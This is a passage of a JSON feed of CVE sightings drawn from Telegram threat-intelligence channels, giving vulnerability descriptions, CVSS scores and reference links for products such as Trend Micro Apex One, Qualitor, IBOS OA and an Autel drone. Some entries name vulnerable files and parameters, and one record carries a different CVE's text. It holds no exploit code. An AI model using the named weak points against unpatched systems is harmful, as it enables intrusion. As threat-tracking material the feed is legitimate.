https://github.com/taglib/taglib/issues/1163\n2. https://github.com/taglib/taglib/pull/1164\n3. https://github.com/taglib/taglib/compare/v1.13.1...v2.0\n4. https://github.com/taglib/taglib/commit/dfa33bec0806cbb45785accb8cc6c2048a7d40cf", "creation_timestamp": "2025-05-22T14:44:22.000000Z"}, {"uuid": "78326ade-8bc8-454f-834a-ee063c322985", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4709", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17609", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4709\n\ud83d\udd25 CVSS Score: 2.3 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: A vulnerability classified as problematic has been found in TOTVS RM 12.1. Affected is an unknown function of the file Login.aspx of the component Portal. The manipulation of the argument VIEWSTATE leads to cross site scripting. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. It is possible to mitigate the problem by applying the configuration setting . It is recommended to change the configuration settings. The vendor was initially contacted early about this disclosure but did not respond in any way. In a later statement he explains, that \"the behavior described [...] is related to specific configurations that are not part of the default application setup. In standard production environments, the relevant feature (VIEWSTATE) is disabled by default, which effectively mitigates the risk of exploitation.\"\n\ud83d\udccf Published: 2023-09-01T18:31:04.891Z\n\ud83d\udccf Modified: 2025-05-27T06:18:11.588Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.238572\n2. https://vuldb.com/?ctiid.238572\n3. https://vuldb.com/?submit.196885\n4. https://tdn.totvs.com/pages/releaseview.action?pageId=284462425#COMOAUMENTARASEGURAN%C3%87ADESUAAPLICA%C3%87%C3%83O-Reduziron%C3%ADveldedetalhamentodemensagensexibidasparaousu%C3%A1rio", "creation_timestamp": "2025-05-27T06:48:30.000000Z"}, {"uuid": "d37677bc-6133-4535-9ae9-f2ef7d924ae5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47050", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/17892", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47050\n\ud83d\udd25 CVSS Score: 5.5 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: Adobe Audition version 24.0 (and earlier) and 23.6.1 (and earlier) are affected by an out-of-bounds read vulnerability when parsing a crafted file, which could result in a read past the end of an allocated memory structure. An attacker could leverage this vulnerability to execute code in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.\n\ud83d\udccf Published: 2023-11-16T15:39:34.600Z\n\ud83d\udccf Modified: 2025-06-10T13:57:33.439Z\n\ud83d\udd17 References:\n1. https://helpx.adobe.com/security/products/audition/apsb23-64.html", "creation_timestamp": "2025-06-10T14:30:34.000000Z"}, {"uuid": "36a99c10-645a-45e8-9a7b-1fd98a73bb2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47132", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18102", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47132\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue discovered in N-able N-central before 2023.6 and earlier allows attackers to gain escalated privileges via API calls.\n\ud83d\udccf Published: 2024-02-08T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-11T17:06:42.163Z\n\ud83d\udd17 References:\n1. https://me.n-able.com/s/security-advisory/aArHs000000M8CHKA0/cve202347132-ncentral-api-privilege-escalation", "creation_timestamp": "2025-06-11T17:34:30.000000Z"}, {"uuid": "206adef1-682f-4744-8f29-9d4bc434d6e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47335", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18071", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47335\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insecure permissions in the setNFZEnable function of Autel Robotics EVO Nano drone v1.6.5 allows attackers to breach the geo-fence and fly into no-fly zones.\n\ud83d\udccf Published: 2023-11-16T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-11T14:14:41.889Z\n\ud83d\udd17 References:\n1. https://github.com/czbxzm/AUTEL-smart-drones-have-a-vulnerability-to-unauthorised-breaches-of-no-fly-zone", "creation_timestamp": "2025-06-11T14:31:22.000000Z"}, {"uuid": "90f636d7-9f44-4988-8c1c-987727a28b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47674", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18072", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47674\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Missing authentication for critical function vulnerability in First Corporation's DVRs allows a remote unauthenticated attacker to rewrite or obtain the configuration information of the affected device. Note that updates are provided only for Late model of CFR-4EABC, CFR-4EAB, CFR-8EAB, CFR-16EAB, MD-404AB, and MD-808AB. As for the other products, apply the workaround.\n\ud83d\udccf Published: 2023-11-16T07:28:38.522Z\n\ud83d\udccf Modified: 2025-06-11T14:12:04.230Z\n\ud83d\udd17 References:\n1. https://www.c-first.co.jp/information/ddososhirase/\n2. https://www.c-first.co.jp/wp/wp-content/uploads/2023/11/tuushin.pdf\n3. https://jvn.jp/en/vu/JVNVU99077347/", "creation_timestamp": "2025-06-11T14:31:23.000000Z"}, {"uuid": "49ee7ae0-5537-4d88-884b-4cf5d2000633", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47253", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18212", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47253\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Qualitor through 8.20 allows remote attackers to execute arbitrary code via PHP code in the html/ad/adpesquisasql/request/processVariavel.php gridValoresPopHidden parameter.\n\ud83d\udccf Published: 2023-11-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-12T16:38:22.382Z\n\ud83d\udd17 References:\n1. https://www.linkedin.com/in/xvinicius/\n2. https://www.linkedin.com/in/hairrison-wenning-4631a4124/\n3. https://www.qualitor.com.br/qualitor-8-20\n4. https://openxp.xpsec.co/blog/cve-2023-47253\n5. https://www.qualitor.com.br/official-security-advisory-cve-2023-47253", "creation_timestamp": "2025-06-12T17:35:15.000000Z"}, {"uuid": "1f080b36-199c-4144-8a4c-5bc3f90dc4c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47198", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47198\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47199.\n\ud83d\udccf Published: 2024-01-23T20:37:56.639Z\n\ud83d\udccf Modified: 2025-06-13T19:08:30.949Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1619/", "creation_timestamp": "2025-06-13T19:34:57.000000Z"}, {"uuid": "50d34914-bd5a-4f3a-8ac4-fb489e96abe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47199", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18326", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47198\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThis vulnerability is similar to, but not identical to, CVE-2023-47199.\n\ud83d\udccf Published: 2024-01-23T20:37:56.639Z\n\ud83d\udccf Modified: 2025-06-13T19:08:30.949Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1619/", "creation_timestamp": "2025-06-13T19:34:57.000000Z"}, {"uuid": "fb00e2fe-1dda-4ce6-837c-c43bb041b93f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47192", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18615", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47192\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An agent link vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\ud83d\udccf Published: 2024-01-23T20:36:34.790Z\n\ud83d\udccf Modified: 2025-06-17T16:13:44.095Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1611/", "creation_timestamp": "2025-06-17T16:41:06.000000Z"}, {"uuid": "58880a70-5f09-436d-91fb-4085a465e99b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47202", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/18614", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47202\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A local file inclusion vulnerability on the Trend Micro Apex One management server could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\ud83d\udccf Published: 2024-01-23T20:38:51.693Z\n\ud83d\udccf Modified: 2025-06-17T16:14:47.687Z\n\ud83d\udd17 References:\n1. https://success.trendmicro.com/dcx/s/solution/000295652?language=en_US\n2. https://www.zerodayinitiative.com/advisories/ZDI-23-1621/", "creation_timestamp": "2025-06-17T16:41:05.000000Z"}, {"uuid": "584d2f71-8cc2-41e7-84d8-b194dbefc170", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47022", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18613", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47022\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Insecure Direct Object Reference in NCR Terminal Handler v.1.5.1 allows an unprivileged user to edit the audit logs for any user and can lead to CSV injection.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-17T16:15:54.602Z\n\ud83d\udd17 References:\n1. https://github.com/Patrick0x41/Security-Advisories/tree/main/CVE-2023-47022", "creation_timestamp": "2025-06-17T16:41:04.000000Z"}, {"uuid": "c82e223d-a103-4433-a92a-0f67eb62e9e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47256", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/18612", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47256\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: ConnectWise ScreenConnect through 23.8.4 allows local users to connect to arbitrary relay servers via implicit trust of proxy settings\n\ud83d\udccf Published: 2024-02-01T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-17T16:16:50.199Z\n\ud83d\udd17 References:\n1. https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.8-security-fix\n2. https://web.archive.org/web/20240208140218/https://gotham-security.com/screenconnect-cve-2023-47256", "creation_timestamp": "2025-06-17T16:41:03.000000Z"}, {"uuid": "5c27c9c6-5c87-45cb-a051-30c993ffa2c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47889", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19078", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47889\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Android application BINHDRM26 com.bdrm.superreboot 1.0.3, exposes several critical actions through its exported broadcast receivers. These exposed actions can allow any app on the device to send unauthorized broadcasts, leading to unintended consequences. The vulnerability is particularly concerning because these actions include powering off, system reboot &amp; entering recovery mode.\n\ud83d\udccf Published: 2024-02-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-20T20:12:47.017Z\n\ud83d\udd17 References:\n1. https://github.com/actuator/com.bdrm.superreboot/blob/main/CWE-925.md", "creation_timestamp": "2025-06-20T20:44:21.000000Z"}, {"uuid": "a67f27a6-8953-41aa-ada3-db086f3a4d99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47298", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19205", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47298\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler 1.5.1 allows a low-level privileged authenticated attacker to query the SOAP API endpoint to obtain information about all of the users of the application including their usernames, roles, security groups and account statuses.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-23T14:32:34.020Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1-BDd0ycuYhuxo-lg4th-Cswimoqqzkot/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47298/CVE-2023-47298.md", "creation_timestamp": "2025-06-23T14:45:27.000000Z"}, {"uuid": "c59abfde-c225-4342-9b53-64046ce35989", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4702", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19443", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4702\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Authentication Bypass Using an Alternate Path or Channel vulnerability in Yepas Digital Yepas allows Authentication Bypass.This issue affects Digital Yepas: before 1.0.1.\n\n\n\ud83d\udccf Published: 2023-09-14T19:01:26.533Z\n\ud83d\udccf Modified: 2025-06-25T13:28:24.508Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-23-0526", "creation_timestamp": "2025-06-25T13:50:54.000000Z"}, {"uuid": "0be0290e-c884-418f-94cb-d76a907b68c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4761", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/19458", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4761\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Out of bounds memory access in FedCM in Google Chrome prior to 116.0.5845.179 allowed a remote attacker who had compromised the renderer process to perform an out of bounds memory read via a crafted HTML page. (Chromium security severity: High)\n\ud83d\udccf Published: 2023-09-05T21:57:42.150Z\n\ud83d\udccf Modified: 2025-06-25T14:24:59.245Z\n\ud83d\udd17 References:\n1. https://chromereleases.googleblog.com/2023/09/stable-channel-update-for-desktop.html\n2. https://crbug.com/1476403\n3. https://www.debian.org/security/2023/dsa-5491\n4. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/27NR3KG553CG6LGPMP6SHWEVHTYPL6RC/\n5. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6T655QF7CQ3DYAMPFV7IECQYGDEUIVVT/\n6. https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KUQ7CTX3W372X3UY56VVNAHCH6H2F4X3/\n7. https://security.gentoo.org/glsa/202311-11\n8. https://security.gentoo.org/glsa/202312-07\n9. https://security.gentoo.org/glsa/202401-34", "creation_timestamp": "2025-06-25T14:51:27.000000Z"}, {"uuid": "fa4b5d19-9f38-43f9-8c31-60cbc150a3a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4738", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19447", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4738\n\ud83d\udd25 CVSS Score: 7.8 (cvssV3_0, Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: Heap-based Buffer Overflow in GitHub repository vim/vim prior to 9.0.1848.\n\ud83d\udccf Published: 2023-09-02T19:39:14.290Z\n\ud83d\udccf Modified: 2025-06-25T14:32:31.999Z\n\ud83d\udd17 References:\n1. https://huntr.dev/bounties/9fc7dced-a7bb-4479-9718-f956df20f612\n2. https://github.com/vim/vim/commit/ced2c7394aafdc90fb7845e09b3a3fee23d48cb1\n3. https://support.apple.com/kb/HT213984\n4. http://seclists.org/fulldisclosure/2023/Oct/24", "creation_timestamp": "2025-06-25T14:51:10.000000Z"}, {"uuid": "1ccfe1fe-a0d2-4732-81af-aa26519e0d13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-4740", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19453", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-4740\n\ud83d\udd25 CVSS Score: 6.3 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L)\n\ud83d\udd39 Description: A vulnerability, which was classified as critical, was found in IBOS OA 4.5.5. This affects an unknown part of the file ?r=email/api/delDraft&amp;archiveId=0 of the component Delete Draft Handler. The manipulation leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-238629 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.\n\ud83d\udccf Published: 2023-09-03T20:00:05.762Z\n\ud83d\udccf Modified: 2025-06-25T14:27:40.566Z\n\ud83d\udd17 References:\n1. https://vuldb.com/?id.238629\n2. https://vuldb.com/?ctiid.238629\n3. https://github.com/RCEraser/cve/blob/main/sql_inject.md", "creation_timestamp": "2025-06-25T14:51:19.000000Z"}, {"uuid": "127a4970-ade0-46f8-9239-f8ae5f9aff8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47310", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19971", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47310\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: A misconfiguration in the default settings of MikroTik RouterOS 7 and fixed in v7.14 allows incoming IPv6 UDP traceroute packets.\n\ud83d\udccf Published: 2025-06-30T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T19:46:26.613Z\n\ud83d\udd17 References:\n1. http://mikrotik.com\n2. http://routeros.com\n3. https://forum.mikrotik.com/t/fixed-in-7-14-security-vulnerability-default-configuration-firewall-bypass-for-ipv6-udp/262186", "creation_timestamp": "2025-06-30T20:08:49.000000Z"}, {"uuid": "7965cee6-e22d-4872-a1bb-2a6be79f5dea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/Cyber_Watch_insider/190", "content": "Microsoft has discovered exploitation of a 0-day vulnerability in the SysAid IT support software in limited attacks by Lace Tempest, a threat actor that distributes Clop ransomware. Microsoft notified SysAid about the issue (CVE-2023-47246), which they immediately patched.", "creation_timestamp": "2023-11-09T17:17:30.000000Z"}, {"uuid": "3e1b04c4-8a4d-43bb-a47a-641be085d357", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47444", "type": "published-proof-of-concept", "source": "https://t.me/TopCyberTechNews/402", "content": "Top Security News for 15/11/2023\n\nUrgent: VMware Warns of Unpatched Critical Cloud Director Vulnerability\nhttps://thehackernews.com/2023/11/urgent-vmware-warns-of-unpatched.html \n\nAdvanced threat predictions for 2024\nhttps://securelist.com/kaspersky-security-bulletin-apt-predictions-2024/111048/ \n\nStatic Code Injections in OpenCart (CVE-2023-47444)\nhttps://www.reddit.com/r/netsec/comments/17vfo5a/static_code_injections_in_opencart_cve202347444/ \n\nWrong: \u201cYou Can\u2019t Protect What You Don\u2019t Know\u201d\nhttps://dale-peterson.com/2023/11/14/wrong-you-cant-protect-what-you-dont-know/ \n\nNEW 'Off The Wall' ONLINE\nhttps://www.2600.com/wall/14-11-2023 \n\nThe cyber underworld is getting a bit faster and a lot looser, and the gangs may be drawing some unwelcome attention.\nhttps://thecyberwire.com/podcasts/daily-podcast/1947/notes \n\nIntroducing Bambdas\nhttps://portswigger.net/blog/introducing-bambdas \n\nSecurity Alert: Microsoft Releases November 2023 Security Updates\nhttps://malware.news/t/security-alert-microsoft-releases-november-2023-security-updates/75675#post_1 \n\nISC Stormcast For Wednesday, November 15th, 2023 https://isc.sans.edu/podcastdetail/8746, (Wed, Nov 15th)\nhttps://malware.news/t/isc-stormcast-for-wednesday-november-15th-2023-https-isc-sans-edu-podcastdetail-8746-wed-nov-15th/75677#post_1 \n\nSecurity Alert: Alert Regarding Vulnerability in Adobe Acrobat and Reader (APSB23-54)\nhttps://malware.news/t/security-alert-alert-regarding-vulnerability-in-adobe-acrobat-and-reader-apsb23-54/75674#post_1 \n\n    \nFollow Top Cyber News at https://t.me/TopCyberTechNews\nFeel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2023-11-15T08:00:07.000000Z"}, {"uuid": "5ff5e7ad-6386-4072-9204-b0aa8e6a01e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "exploited", "source": "https://t.me/hackyourmom/6009", "content": "CISA \u0434\u043e\u0434\u0430\u043b\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 Juniper \u0434\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u043e\u0432\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439.\n\n\u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u044c\u043a\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0437 \u043a\u0456\u0431\u0435\u0440\u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0442\u0430 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0456\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0434\u043e \u0441\u0432\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 KEV \u0448\u0456\u0441\u0442\u044c \u043d\u043e\u0432\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439, \u0437 \u044f\u043a\u0438\u0445 \u043f'\u044f\u0442\u044c \u0441\u0442\u043e\u0441\u0443\u044e\u0442\u044c\u0441\u044f \u043e\u043f\u0435\u0440\u0430\u0446\u0456\u0439\u043d\u043e\u0457 \u0441\u0438\u0441\u0442\u0435\u043c\u0438 Juniper Junos OS, \u0430 \u043e\u0434\u043d\u0430 - \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043d\u043e\u0433\u043e \u0437\u0430\u0431\u0435\u0437\u043f\u0435\u0447\u0435\u043d\u043d\u044f \u0434\u043b\u044f \u0406\u0422-\u043f\u0456\u0434\u0442\u0440\u0438\u043c\u043a\u0438 \u043f\u0456\u0434 \u043d\u0430\u0437\u0432\u043e\u044e SysAid.\n\n\u0421\u0435\u0440\u0435\u0434 \u0434\u043e\u0434\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439:\nCVE-2023-36844, CVE-2023-36845, CVE-2023-36846, CVE-2023-36847, CVE-2023-36851: \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 Juniper Junos OS \u0441\u0435\u0440\u0456\u0439 EX \u0456 SRX, \u043f\u043e\u0432'\u044f\u0437\u0430\u043d\u0456 \u0437 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0430\u043c\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u0457 \u0442\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u044f\u043c\u0438 \u0432 PHP.\nCVE-2023-47246: \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0456 SysAid, \u043f\u043e\u0432'\u044f\u0437\u0430\u043d\u0430 \u0437 \u043e\u0431\u0445\u0456\u0434\u043e\u043c \u0448\u043b\u044f\u0445\u0443.\n\n\u0417\u0430 \u0456\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u0454\u044e Juniper SIRT, \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0456 J-Web \u043c\u043e\u0436\u0443\u0442\u044c \u0431\u0443\u0442\u0438 \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u0430\u043d\u0456 \u0434\u043b\u044f \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0443 \u0431\u0435\u0437 \u043f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u044c\u043e\u0457 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0446\u0456\u0457. \u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f \u043f\u0456\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430, \u0449\u043e \u0437\u043b\u043e\u0432\u043c\u0438\u0441\u043d\u0438\u043a\u0438 